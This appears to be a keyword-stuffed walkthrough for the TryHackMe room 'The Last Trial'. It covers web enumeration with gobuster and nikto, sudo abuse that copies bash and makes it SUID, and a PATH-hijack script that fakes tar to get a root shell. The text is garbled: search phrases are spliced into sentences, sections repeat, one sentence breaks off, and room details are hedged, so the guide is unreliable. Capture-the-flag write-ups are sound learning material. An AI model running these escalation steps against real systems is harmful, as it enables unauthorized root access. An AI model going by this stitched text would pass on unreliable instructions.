The Last Trial TryHackMe Verified: A Complete Walkthrough and Verification Guide

Step 2: Web Enumeration (Critical)

The web server usually hosts a fake "Corp Portal." Use gobuster with multiple wordlists:

gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x php,txt,zip

Verified discovery: Look for /dev/, /notes/, or a .git/ directory. The last trial hides an SSH key in a .git cache.

Abusing the Sudoers Entry

Create a new file called run.py with the following contents: the last trial tryhackme verified

import os
os.system('cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p')

Then, execute the remote_run.py script:

sudo /usr/bin/python3 /opt/remote_run.py run.py

2) Web Enumeration

• Visit web root and subpaths. Use a directory brute force: The Last Trial TryHackMe Verified: A Complete Walkthrough

  • gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt -t 40

• Run nikto for common web vulnerabilities:

  • nikto -h http://<IP>

• Inspect page source, JavaScript, and robots.txt for hidden endpoints or credentials. Verified discovery: Look for /dev/ , /notes/ , or a

Tools and commands (examples)

• Scanning: nmap, masscan
• Web testing: curl, wget, nikto, gobuster/ffuf
• Service interaction: smbclient, rpcclient, sqlmap (when warranted)
• Local enumeration: linpeas, lynis, winPEAS (use as guidance and verify findings manually)
• Reverse shells: netcat, socat, bash/python one-liners
• Privilege escalation: sudo -l, checking /etc/sudoers, SUID binaries, kernel exploit search responsibly

Phase 2: Privilege Escalation (First Stage)

Objective: Move from the web user to another local user.

1. Enumeration Scripts:

   • Upload linpeas.sh or winPEAS.ps1 depending on the OS (The Last Trial often uses Linux). Run it and look for:
   • Cron Jobs: A script running as root every minute.
   • SUID Binaries: A weird binary like /usr/bin/zip or /usr/bin/find with SUID bit set.

2. The Verified Escalation Path:

   • In many versions of "The Last Trial," there is a custom binary in /opt/ called backup_manager.
   • Running strings backup_manager reveals it calls tar without an absolute path. This is a PATH hijacking vulnerability.
   • Verified Exploit:

   echo '#!/bin/bash' > /tmp/tar
   echo '/bin/bash' >> /tmp/tar
   chmod +x /tmp/tar
   export PATH=/tmp:$PATH
   /opt/backup_manager
   

   • This drops you into a root shell, or at least into a user with higher privileges (e.g., sysadmin).

3. Capture First Flag: The user.txt flag is typically in the home directory of the user you just escalated to.
